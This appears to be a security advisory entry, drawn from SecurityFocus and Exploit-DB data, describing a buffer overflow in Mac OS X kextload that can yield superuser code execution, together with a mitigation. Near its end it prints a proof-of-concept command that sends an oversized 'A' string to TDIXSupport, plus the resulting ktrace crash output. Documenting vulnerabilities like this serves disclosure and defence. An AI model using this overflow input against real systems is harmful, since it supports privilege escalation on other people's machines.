Apple Mac OS X kextload Buffer-Overflow Vulnerability

vendor:

Mac OS X

by:

SecurityFocus

7.5

CVSS

HIGH

Buffer-Overflow

120 (Buffer Copy without Checking Size of Input)

CWE

Product Name: Mac OS X

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

Apple Mac OS X kextload Buffer-Overflow Vulnerability

Apple Mac OS X kextload is prone to a buffer-overflow vulnerability because it fails to sufficiently bounds-check user-supplied data before copying it to a finite-sized memory buffer. An attacker can exploit this issue to execute arbitrary machine code with superuser privileges. A successful exploit may result in the complete compromise of the affected computer.

Mitigation:

To mitigate this vulnerability, users should ensure that kextload is not installed as a setuid-superuser application.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/20034/info

Apple Mac OS X kextload is prone to a buffer-overflow vulnerability because it fails to sufficiently bounds-check user-supplied data before copying it to a finite-sized memory buffer.

This issue is not exploitable by itself, because kextload is not installed as a setuid-superuser application by default. To exploit this issue, an attacker must use another program running with elevated privileges to directly manipulate the arguments passed to kextload.

An attacker can exploit this issue to execute arbitrary machine code with superuser privileges. A successful exploit may result in the complete compromise of the affect computer.

Example kextload buffer-overflow vulnerability affecting TDIXsupport: 

netragard-test:$ sudo ktrace -di ./TDIXSupport `perl -e 'print "A" x 1000'`/TDIXController.kext 
... 
1067 security_authtra CALL sendto(0x7,0xbfffde14,0x36,0,0,0) 
1067 security_authtra GIO fd 7 wrote 54 bytes 
~ "<37>Jul 8 11:31:58 authexec: executing /sbin/kextload" 
1067 security_authtra RET sendto 54/0x36 
1067 security_authtra CALL execve(0xbfffec61,0xbfffebb4,0x300af0) 
1067 security_authtra NAMI "/sbin/kextload" 
... 
1067 kextload PSIG SIGSEGV SIG_DFL 
1066 TDIXSupport GIO fd 7 read 0 bytes 
~ "" 
1066 TDIXSupport RET read 0 
1066 TDIXSupport CALL close(0x7) 
1066 TDIXSupport RET close 0 
1066 TDIXSupport CALL exit(0xe00002c0)